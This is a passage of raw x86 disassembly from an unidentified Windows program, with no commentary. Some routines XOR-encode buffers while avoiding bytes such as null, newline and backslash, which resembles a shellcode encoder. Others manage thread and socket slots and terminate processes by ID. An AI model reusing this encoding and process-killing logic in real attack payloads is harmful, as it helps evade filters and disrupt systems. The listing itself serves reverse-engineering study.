		mov	[esp+8+arg_8], eax
		jbe	short loc_13CF6B5
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_13CF6B5:				; CODE XREF: sub_13CF690+1Ej
		push	ebp
		push	edi
		or	ecx, 0FFFFFFFFh
		mov	edi, ebx
		xor	eax, eax
		mov	ebp, [esp+10h+arg_0]
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, esi
		mov	edx, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		mov	esi, offset dword_444CB8
		mov	eax, ecx
		mov	edi, ebp
		lea	ecx, [eax+edx+12h]
		mov	ds:dword_444D1C, ecx
		lea	ecx, [eax+1]
		mov	ds:dword_444D3D, ecx
		lea	ecx, [eax+17h]
		mov	ds:dword_444D35, ecx
		mov	ecx, 0FFFFFFEDh
		sub	ecx, eax
		mov	ds:dword_444D4B, ecx
		mov	ecx, 1Dh
		rep movsd
		mov	ecx, edx
		mov	esi, ebx
		mov	ebx, ecx
		lea	edi, [ebp+74h]
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		add	edx, 74h
		and	ecx, 3
		rep movsb
		mov	esi, ds:dword_444D2C
		lea	ecx, [edx+ebp]
		add	edx, 5
		mov	[ecx], esi
		mov	bl, ds:byte_444D30
		mov	esi, [esp+10h+arg_C]
		lea	edi, [edx+ebp]
		mov	[ecx+4], bl
		mov	ecx, eax
		mov	ebx, ecx
		add	edx, eax
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		mov	esi, ds:dword_444D31
		lea	ecx, [edx+ebp]
		add	edx, 10h
		mov	[ecx], esi
		mov	esi, ds:dword_444D35
		lea	edi, [edx+ebp]
		mov	[ecx+4], esi
		mov	esi, ds:dword_444D39
		mov	[ecx+8], esi
		mov	esi, ds:dword_444D3D
		mov	[ecx+0Ch], esi
		mov	esi, [esp+10h+arg_C]
		mov	ecx, eax
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		lea	edi, [edx+eax]
		mov	eax, [esp+10h+arg_8]
		add	edi, ebp
		mov	ecx, 0Eh
		mov	esi, offset byte_444D41
		rep movsd
		pop	edi
		pop	ebp
		pop	esi
		pop	ebx
		retn
sub_13CF690	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CF800	proc near		; CODE XREF: sub_13AC562j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_13AB7C5
		push	eax
		call	sub_13ABBBC
		add	esp, 0Ch
		retn
sub_13CF800	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CF830	proc near		; CODE XREF: sub_13ABB35j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_8]
		push	ebp
		push	edi
		mov	edi, [esp+0Ch+arg_C]
		push	edi
		push	ebx
		call	sub_13AC562
		mov	ebp, [esp+14h+arg_4]
		add	esp, 8
		cmp	eax, ebp
		jbe	short loc_13CF853
		pop	edi
		pop	ebp
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_13CF853:				; CODE XREF: sub_13CF830+1Bj
		cmp	eax, 0FFFFh
		jbe	short loc_13CF860
		pop	edi
		pop	ebp
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_13CF860:				; CODE XREF: sub_13CF830+28j
		push	esi
		push	edi
		push	ebx
		call	sub_13AB7C5
		add	eax, 101h
		push	eax
		call	malloc	; malloc
		add	esp, 0Ch
		mov	esi, eax
		push	edi
		push	ebx
		push	edi
		push	ebx
		call	sub_13AB7C5
		add	esp, 8
		push	eax
		push	esi
		call	sub_13ABB8A
		push	eax
		mov	eax, [esp+24h+arg_0]
		push	esi
		push	ebp
		push	eax
		call	sub_13ABF77
		push	esi
		mov	edi, eax
		call	free	; free
		add	esp, 24h
		mov	eax, edi
		pop	esi
		pop	edi
		pop	ebp
		pop	ebx
		retn
sub_13CF830	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CF8D0	proc near		; CODE XREF: sub_13ABBBCj

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	cl, cl
		jnz	short loc_13CF8D9
		inc	ecx


loc_13CF8D9:				; CODE XREF: sub_13CF8D0+6j
		mov	eax, 0FFh
		cmp	eax, ecx
		sbb	eax, eax
		and	eax, 2
		add	eax, 15h
		add	eax, ecx
		retn
sub_13CF8D0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CF900	proc near		; CODE XREF: sub_13ABF77j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_C]
		cmp	bl, 0Ah
		jz	short loc_13CF918
		cmp	bl, 0Dh
		jz	short loc_13CF918
		cmp	bl, 5Ch
		jz	short loc_13CF918
		test	bl, bl
		jnz	short loc_13CF919


loc_13CF918:				; CODE XREF: sub_13CF900+8j
					; sub_13CF900+Dj ...
		inc	ebx


loc_13CF919:				; CODE XREF: sub_13CF900+16j
		cmp	ebx, 0FFh
		jbe	short loc_13CF93C
		mov	eax, ebx
		shr	eax, 8
		cmp	al, 0Ah
		jz	short loc_13CF936
		cmp	al, 0Dh
		jz	short loc_13CF936
		cmp	al, 5Ch
		jz	short loc_13CF936
		test	al, al
		jnz	short loc_13CF93C


loc_13CF936:				; CODE XREF: sub_13CF900+28j
					; sub_13CF900+2Cj ...
		add	ebx, 100h


loc_13CF93C:				; CODE XREF: sub_13CF900+1Fj
					; sub_13CF900+34j
		push	ebx
		call	sub_13ABBBC
		mov	ecx, [esp+8+arg_4]
		add	esp, 4
		cmp	eax, ecx
		mov	[esp+4+arg_C], eax
		jbe	short loc_13CF955
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_13CF955:				; CODE XREF: sub_13CF900+4Fj
		cmp	eax, 0FFFFh
		jbe	short loc_13CF960
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_13CF960:				; CODE XREF: sub_13CF900+5Aj
		mov	al, ds:byte_102C2F0
		xor	edx, edx
		push	ebp
		mov	ebp, [esp+8+arg_8]
		test	ebx, ebx
		push	esi
		jbe	short loc_13CF990


loc_13CF971:				; CODE XREF: sub_13CF900+8Ej
		mov	cl, [edx+ebp]
		xor	cl, al
		jz	short loc_13CF987
		cmp	cl, 0Ah
		jz	short loc_13CF987
		cmp	cl, 0Dh
		jz	short loc_13CF987
		cmp	cl, 5Ch
		jnz	short loc_13CF98B


loc_13CF987:				; CODE XREF: sub_13CF900+76j
					; sub_13CF900+7Bj ...
		inc	al
		xor	edx, edx


loc_13CF98B:				; CODE XREF: sub_13CF900+85j
		inc	edx
		cmp	edx, ebx
		jb	short loc_13CF971


loc_13CF990:				; CODE XREF: sub_13CF900+6Fj
		cmp	ebx, 0FFh
		push	edi
		mov	ds:byte_102C2F0, al
		ja	short loc_13CF9C3
		mov	edx, [esp+10h+arg_0]
		mov	ecx, 5
		mov	esi, offset dword_444CA0
		mov	edi, edx
		mov	ds:byte_444CAD,	bl
		mov	ds:byte_444CB1,	al
		rep movsd
		movsb
		mov	esi, 15h
		jmp	short loc_13CF9E9
; ---------------------------------------------------------------------------


loc_13CF9C3:				; CODE XREF: sub_13CF900+9Cj
		mov	edx, [esp+10h+arg_0]
		mov	ecx, 5
		mov	esi, offset dword_444C88
		mov	edi, edx
		mov	ds:word_444C96,	bx
		mov	ds:byte_444C9B,	al
		rep movsd
		movsw
		movsb
		mov	esi, 17h


loc_13CF9E9:				; CODE XREF: sub_13CF900+C1j
		xor	ecx, ecx
		pop	edi
		test	ebx, ebx
		jbe	short loc_13CF9FF
		add	esi, edx


loc_13CF9F2:				; CODE XREF: sub_13CF900+FDj
		mov	dl, [ecx+ebp]
		xor	dl, al
		mov	[esi+ecx], dl
		inc	ecx
		cmp	ecx, ebx
		jb	short loc_13CF9F2


loc_13CF9FF:				; CODE XREF: sub_13CF900+EEj
		mov	eax, [esp+0Ch+arg_C]
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_13CF900	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CFA60	proc near		; CODE XREF: sub_13AC224j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		lea	ecx, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		lea	ecx, [eax+ecx*8]
		lea	ecx, [ecx+ecx*4]
		lea	edx, [ecx+ecx*4]
		xor	ecx, ecx
		lea	eax, dword_448FDB[eax+edx*2]
		mov	[eax+2723h], ecx
		mov	[eax+270Fh], ecx
		mov	[eax+2713h], ecx
		mov	[eax+2717h], ecx
		mov	[eax+271Bh], ecx
		mov	[eax+271Fh], ecx
		mov	[eax], cl
		mov	[eax+2727h], cl
		retn
sub_13CFA60	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CFAD0	proc near		; CODE XREF: sub_13AB770j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		push	ebp
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	eax, ebx
		jle	loc_13CFB7F
		cmp	eax, 400h
		jge	loc_13CFB7F
		lea	ecx, [eax+eax*4]
		push	esi
		push	edi
		push	ebx
		lea	ecx, [ecx+ecx*4]
		lea	ecx, [eax+ecx*8]
		lea	ecx, [ecx+ecx*4]
		lea	edx, [ecx+ecx*4]
		lea	esi, dword_448FDB[eax+edx*2]
		mov	eax, ds:dword_44B6FE[eax+edx*2]
		push	eax
		call	TerminateThread	; TerminateThread
		cmp	[esi+2723h], ebx
		jz	short loc_13CFB21
		mov	ebp, 1


loc_13CFB21:				; CODE XREF: sub_13CFAD0+4Aj
		mov	[esi+2723h], ebx
		mov	[esi+270Fh], ebx
		mov	[esi+2713h], ebx
		mov	eax, [esi+2717h]
		cmp	eax, ebx
		jbe	short loc_13CFB46
		push	eax
		call	sub_13AC06C
		add	esp, 4


loc_13CFB46:				; CODE XREF: sub_13CFAD0+6Bj
		mov	edi, closesocket
		mov	[esi+2717h], ebx
		mov	[esi], bl
		mov	[esi+2727h], bl
		mov	ecx, [esi+271Bh]
		push	ecx
		call	edi ; closesocket
		mov	[esi+271Bh], ebx
		mov	edx, [esi+271Fh]
		push	edx
		call	edi ; closesocket
		mov	[esi+271Fh], ebx
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_13CFB7F:				; CODE XREF: sub_13CFAD0+Cj
					; sub_13CFAD0+17j
		mov	eax, ebp
		pop	ebp
		pop	ebx
		retn
sub_13CFAD0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CFBC0	proc near		; CODE XREF: sub_13AC193j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		xor	edi, edi
		mov	esi, offset dword_44B6EE


loc_13CFBD1:				; CODE XREF: sub_13CFBC0+52j
		mov	eax, [esp+10h+arg_0]
		mov	ecx, [esi-4]
		cmp	ecx, eax
		jnz	short loc_13CFC05
		test	ebx, ebx
		jle	short loc_13CFBF7
		cmp	[esi], ebx
		jz	short loc_13CFBE8
		cmp	edi, ebx
		jnz	short loc_13CFC05


loc_13CFBE8:				; CODE XREF: sub_13CFBC0+22j
		push	edi
		call	sub_13AB770
		add	esp, 4
		test	eax, eax
		jz	short loc_13CFC05
		jmp	short loc_13CFC04
; ---------------------------------------------------------------------------


loc_13CFBF7:				; CODE XREF: sub_13CFBC0+1Ej
		push	edi
		call	sub_13AB770
		add	esp, 4
		test	eax, eax
		jz	short loc_13CFC05


loc_13CFC04:				; CODE XREF: sub_13CFBC0+35j
		inc	ebp


loc_13CFC05:				; CODE XREF: sub_13CFBC0+1Aj
					; sub_13CFBC0+26j ...
		add	esi, 2743h
		inc	edi
		cmp	esi, offset word_E1C2EE
		jl	short loc_13CFBD1
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_13CFBC0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CFC40	proc near		; CODE XREF: sub_13AC06Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		push	eax
		push	0
		push	1F0FFFh
		mov	edi, 1
		call	OpenProcess	; OpenProcess
		mov	esi, eax
		test	esi, esi
		jz	short loc_13CFC75
		push	0
		push	esi
		call	TerminateProcess	; TerminateProcess
		test	eax, eax
		jnz	short loc_13CFC75
		push	esi
		xor	edi, edi
		call	CloseHandle	; CloseHandle


loc_13CFC75:				; CODE XREF: sub_13CFC40+1Dj
					; sub_13CFC40+2Aj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_13CFC40	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CFC90	proc near		; CODE XREF: sub_13AB883j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		xor	eax, eax
		mov	ecx, offset word_44B6EA


loc_13CFC9B:				; CODE XREF: sub_13CFC90+1Cj
		cmp	[ecx], edx
		jnz	short loc_13CFCA0
		inc	eax


loc_13CFCA0:				; CODE XREF: sub_13CFC90+Dj
		add	ecx, 2743h
		cmp	ecx, offset word_E1C2EA
		jl	short loc_13CFC9B
		retn
sub_13CFC90	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CFCC0	proc near		; CODE XREF: sub_13AC18Ej

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		push	esi
		xor	esi, esi
		xor	eax, eax
		mov	ecx, offset word_44B6EA


loc_13CFCCE:				; CODE XREF: sub_13CFCC0+1Fj
		cmp	[ecx], edx
		jz	short loc_13CFCE3
		add	ecx, 2743h
		inc	eax
		cmp	ecx, offset word_E1C2EA
		jl	short loc_13CFCCE
		mov	eax, esi


loc_13CFCE3:				; CODE XREF: sub_13CFCC0+10j
		pop	esi
		retn
sub_13CFCC0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CFD00	proc near		; CODE XREF: sub_13ABFD6j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_448FDB


loc_13CFD08:				; CODE XREF: sub_13CFD00+18j
		cmp	byte ptr [eax],	0
		jz	short loc_13CFD1E
		add	eax, 2743h
		inc	edi
		cmp	eax, offset dword_E19BDB
		jl	short loc_13CFD08
		mov	eax, edi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_13CFD1E:				; CODE XREF: sub_13CFD00+Bj
		lea	eax, [edi+edi*4]
		mov	edx, [esp+4+arg_0]
		push	esi
		push	270Eh
		lea	eax, [eax+eax*4]
		push	edx
		lea	eax, [edi+eax*8]
		lea	eax, [eax+eax*4]
		lea	ecx, [eax+eax*4]
		lea	esi, dword_448FDB[edi+ecx*2]
		push	esi
		call	strncpy	; strncpy
		mov	eax, [esp+14h+arg_4]
		mov	ecx, [esp+14h+arg_8]
		mov	[esi+270Fh], eax
		mov	dword ptr [esi+2713h], 0
		add	esp, 0Ch
		mov	dword ptr [esi+2717h], 0
		mov	[esi+271Bh], ecx
		mov	byte ptr [esi+2727h], 0
		mov	eax, edi
		pop	esi
		pop	edi
		retn
sub_13CFD00	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CFDA0	proc near		; CODE XREF: sub_13ABA09j

var_6C		= byte ptr -6Ch
var_60		= byte ptr -60h
var_54		= byte ptr -54h
var_48		= dword	ptr -48h
var_40		= dword	ptr -40h
var_3C		= byte ptr -3Ch
var_34		= dword	ptr -34h
var_28		= dword	ptr -28h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	43B5F8h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	7
		push	0Eh
		push	9
		push	10h
		push	4Fh
		push	13h
		push	0Fh
		mov	esi, ecx
		push	4
		lea	eax, [esp+68h+var_3C]
		push	4
		push	eax
		mov	dword ptr [esi+118h], 0
		mov	byte ptr [esi+11Ch], 0
		call	sub_13ABDB5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_13ABBE4
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447168
		call	sub_13AB991
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+50h+var_48]
		mov	[esp+50h+var_10], edi
		call	sub_13AB626
		push	0
		push	10h
		push	4
		push	15h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	edx, [esp+70h+var_48]
		push	4
		push	edx
		call	sub_13ABDB5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	[esp+54h+var_10], 1
		call	sub_13ABBE4
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_447168
		call	sub_13AB991
		lea	ecx, [esp+5Ch+var_54]
		mov	[esp+5Ch+var_1C], edi
		call	sub_13AB626
		push	0
		push	0Eh
		push	19h
		push	13h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	ecx, [esp+7Ch+var_54]
		push	4
		push	ecx
		call	sub_13ABDB5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	[esp+60h+var_1C], 2
		call	sub_13ABBE4
		lea	edx, [esi+60h]
		push	eax
		push	edx
		mov	ecx, offset dword_447168
		call	sub_13AB991
		lea	ecx, [esp+68h+var_60]
		mov	[esp+68h+var_28], edi
		call	sub_13AB626
		push	0
		push	10h
		push	0Fh
		push	14h
		push	13h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	eax, [esp+8Ch+var_60]
		push	4
		push	eax
		call	sub_13ABDB5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+6Ch+var_28], 3
		call	sub_13ABBE4
		lea	ecx, [esi+0EAh]
		push	eax
		push	ecx
		mov	ecx, offset dword_447168
		call	sub_13AB991
		lea	ecx, [esp+74h+var_6C]
		mov	[esp+74h+var_34], edi
		call	sub_13AB626
		push	0
		push	0Eh
		push	19h
		push	13h
		push	4
		push	13h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	edx, [esp+9Ch+var_54]
		push	4
		push	edx
		call	sub_13ABDB5
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	[esp+78h+var_34], 4
		call	sub_13ABBE4
		add	esi, 8Eh
		push	eax
		push	esi
		mov	ecx, offset dword_447168
		call	sub_13AB991
		lea	ecx, [esp+80h+var_60]
		mov	[esp+80h+var_40], edi
		call	sub_13AB626
		mov	ecx, [esp+80h+var_48]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
sub_13CFDA0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CFFF0	proc near		; CODE XREF: sub_13ABF6Dj

var_128		= byte ptr -128h
var_11C		= byte ptr -11Ch
var_110		= byte ptr -110h
var_10C		= dword	ptr -10Ch
var_104		= byte ptr -104h
var_FC		= dword	ptr -0FCh
var_F8		= dword	ptr -0F8h
var_F4		= byte ptr -0F4h
var_F0		= dword	ptr -0F0h
var_EC		= byte ptr -0ECh
var_E4		= dword	ptr -0E4h
var_E0		= byte ptr -0E0h
var_D8		= dword	ptr -0D8h
var_D4		= byte ptr -0D4h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_A8		= dword	ptr -0A8h
var_A4		= byte ptr -0A4h
var_9C		= dword	ptr -9Ch
var_98		= byte ptr -98h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_80		= dword	ptr -80h
var_7C		= byte ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_6C		= dword	ptr -6Ch
var_68		= byte ptr -68h
var_60		= dword	ptr -60h
var_5C		= byte ptr -5Ch
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_44		= dword	ptr -44h
var_40		= byte ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_24		= dword	ptr -24h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	43B6C4h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 34h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+4Ch+arg_0]
		mov	ebx, ecx
		push	edi
		lea	ebp, [esi+7Eh]
		lea	ecx, [ebx+60h]
		mov	[esp+50h+arg_0], ebp
		call	sub_13AB8D3
		push	eax
		mov	ecx, ebp
		call	sub_13AB6EE
		mov	edi, atoi
		test	eax, eax
		jnz	loc_13D0188
		push	95h
		call	near ptr 13E0C1Ah
		add	esp, 4
		mov	[esp+54h+var_44], eax
		xor	ebp, ebp
		cmp	eax, ebp
		mov	[esp+54h+var_8], ebp
		jz	short loc_13D005B
		mov	ecx, eax
		call	sub_13AC1D9
		mov	ebp, eax


loc_13D005B:				; CODE XREF: sub_13CFFF0+60j
		push	offset dword_443600
		lea	eax, [esp+58h+var_40]
		push	1
		mov	byte ptr [ebx+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	[esp+60h+var_8], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_13ABAAE
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	[esp+64h+var_14], 1
		call	sub_13AC3BE
		lea	ecx, [esp+64h+var_50]
		mov	[esp+64h+var_18], 0FFFFFFFFh
		call	sub_13AB626
		push	offset dword_443600
		lea	ecx, [esp+68h+var_50]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_13ABAAE
		mov	ecx, eax
		mov	[esp+70h+var_24], 2
		call	sub_13ABBE4
		push	eax
		call	edi ; atoi
		add	esp, 4
		lea	ecx, [esp+70h+var_5C]
		mov	[ebp+50h], eax
		mov	[esp+70h+var_24], 0FFFFFFFFh
		call	sub_13AB626
		push	offset dword_443600
		lea	edx, [esp+74h+var_5C]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_13ABAAE
		mov	ecx, eax
		mov	[esp+7Ch+var_30], 3
		call	sub_13ABBE4
		push	eax
		call	edi ; atoi
		add	esp, 4
		lea	ecx, [esp+7Ch+var_68]
		mov	[ebp+54h], eax
		mov	[esp+7Ch+var_30], 0FFFFFFFFh
		call	sub_13AB626
		push	offset dword_443600
		lea	eax, [esp+80h+var_68]
		push	4
		push	eax
		mov	ecx, esi
		call	sub_13ABAAE
		mov	ecx, eax
		mov	[esp+88h+var_3C], 4
		call	sub_13ABBE4
		push	eax
		call	edi ; atoi
		add	esp, 4
		lea	ecx, [esp+88h+var_74]
		mov	[ebp+58h], eax
		mov	[esp+88h+var_3C], 0FFFFFFFFh
		call	sub_13AB626
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [ebp+26h]
		call	sub_13AC3BE
		mov	dl, [esi+93h]
		mov	ecx, ebp
		mov	[ebp+8Fh], dl
		mov	al, [esi+94h]
		mov	[ebp+90h], al
		call	sub_13AB7D4
		mov	ebp, [esp+8Ch+var_38]


loc_13D0188:				; CODE XREF: sub_13CFFF0+41j
		lea	ecx, [ebx+8Eh]
		call	sub_13AB8D3
		push	eax
		mov	ecx, ebp
		call	sub_13AB6EE
		test	eax, eax
		jnz	loc_13D02FA
		push	95h
		call	near ptr 13E0C1Ah
		add	esp, 4
		mov	[esp+90h+var_80], eax
		test	eax, eax
		mov	[esp+90h+var_44], 5
		jz	short loc_13D01CB
		mov	ecx, eax
		call	sub_13ABFC7
		mov	ebp, eax
		jmp	short loc_13D01CD
; ---------------------------------------------------------------------------


loc_13D01CB:				; CODE XREF: sub_13CFFF0+1CEj
		xor	ebp, ebp


loc_13D01CD:				; CODE XREF: sub_13CFFF0+1D9j
		push	offset dword_443600
		lea	ecx, [esp+94h+var_7C]
		push	1
		push	ecx
		mov	byte ptr [ebx+11Ch], 1
		mov	ecx, esi
		mov	[esp+9Ch+var_44], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_13ABAAE
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	[esp+0A0h+var_50], 6
		call	sub_13AC3BE
		lea	ecx, [esp+0A0h+var_8C]
		mov	[esp+0A0h+var_54], 0FFFFFFFFh
		call	sub_13AB626
		push	offset dword_443600
		lea	edx, [esp+0A4h+var_8C]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_13ABAAE
		mov	ecx, eax
		mov	[esp+0ACh+var_60], 7
		call	sub_13ABBE4
		push	eax
		call	edi ; atoi
		add	esp, 4
		lea	ecx, [esp+0ACh+var_98]
		mov	[ebp+50h], eax
		mov	[esp+0ACh+var_60], 0FFFFFFFFh
		call	sub_13AB626
		push	offset dword_443600
		lea	eax, [esp+0B0h+var_98]
		push	3
		push	eax
		mov	ecx, esi
		call	sub_13ABAAE
		mov	ecx, eax
		mov	[esp+0B8h+var_6C], 8
		call	sub_13ABBE4
		push	eax
		call	edi ; atoi
		add	esp, 4
		lea	ecx, [esp+0B8h+var_A4]
		mov	[ebp+54h], eax
		mov	[esp+0B8h+var_6C], 0FFFFFFFFh
		call	sub_13AB626
		push	offset dword_443600
		lea	ecx, [esp+0BCh+var_A4]
		push	4
		push	ecx
		mov	ecx, esi
		call	sub_13ABAAE
		mov	ecx, eax
		mov	[esp+0C4h+var_78], 9
		call	sub_13ABBE4
		push	eax
		call	edi ; atoi
		add	esp, 4
		lea	ecx, [esp+0C4h+var_B0]
		mov	[ebp+58h], eax
		mov	[esp+0C4h+var_78], 0FFFFFFFFh
		call	sub_13AB626
		lea	edx, [esi+69h]
		lea	ecx, [ebp+26h]
		push	edx
		call	sub_13AC3BE
		mov	al, [esi+93h]
		mov	[ebp+8Fh], al
		mov	cl, [esi+94h]
		mov	[ebp+90h], cl
		mov	ecx, ebp
		call	sub_13AB7D4
		mov	ebp, [esp+0C8h+var_74]


loc_13D02FA:				; CODE XREF: sub_13CFFF0+1ADj
		lea	ecx, [ebx+4]
		call	sub_13AB8D3
		push	eax
		mov	ecx, ebp
		call	sub_13AB6EE
		test	eax, eax
		jnz	loc_13D0469
		push	95h
		call	near ptr 13E0C1Ah
		add	esp, 4
		mov	[esp+0CCh+var_BC], eax
		test	eax, eax
		mov	[esp+0CCh+var_80], 0Ah
		jz	short loc_13D033A
		mov	ecx, eax
		call	sub_13AB70C
		mov	ebp, eax
		jmp	short loc_13D033C
; ---------------------------------------------------------------------------


loc_13D033A:				; CODE XREF: sub_13CFFF0+33Dj
		xor	ebp, ebp


loc_13D033C:				; CODE XREF: sub_13CFFF0+348j
		push	offset dword_443600
		lea	edx, [esp+0D0h+var_B8]
		push	1
		mov	byte ptr [ebx+11Ch], 1
		push	edx
		mov	ecx, esi
		mov	[esp+0D8h+var_80], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_13ABAAE
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	[esp+0DCh+var_8C], 0Bh
		call	sub_13AC3BE
		lea	ecx, [esp+0DCh+var_C8]
		mov	[esp+0DCh+var_90], 0FFFFFFFFh
		call	sub_13AB626
		push	offset dword_443600
		lea	eax, [esp+0E0h+var_C8]
		push	2
		push	eax
		mov	ecx, esi
		call	sub_13ABAAE
		mov	ecx, eax
		mov	[esp+0E8h+var_9C], 0Ch
		call	sub_13ABBE4
		push	eax
		call	edi ; atoi
		add	esp, 4
		lea	ecx, [esp+0E8h+var_D4]
		mov	[ebp+5Ch], eax
		mov	[esp+0E8h+var_9C], 0FFFFFFFFh
		call	sub_13AB626
		push	offset dword_443600
		lea	ecx, [esp+0ECh+var_D4]
		push	3
		push	ecx
		mov	ecx, esi
		call	sub_13ABAAE
		mov	ecx, eax
		mov	[esp+0F4h+var_A8], 0Dh
		call	sub_13ABBE4
		push	eax
		call	edi ; atoi
		add	esp, 4
		lea	ecx, [esp+0F4h+var_E0]
		mov	[ebp+60h], eax
		mov	[esp+0F4h+var_A8], 0FFFFFFFFh
		call	sub_13AB626
		push	offset dword_443600
		lea	edx, [esp+0F8h+var_E0]
		push	4
		push	edx
		mov	ecx, esi
		call	sub_13ABAAE
		mov	ecx, eax
		mov	[esp+100h+var_B4], 0Eh
		call	sub_13ABBE4
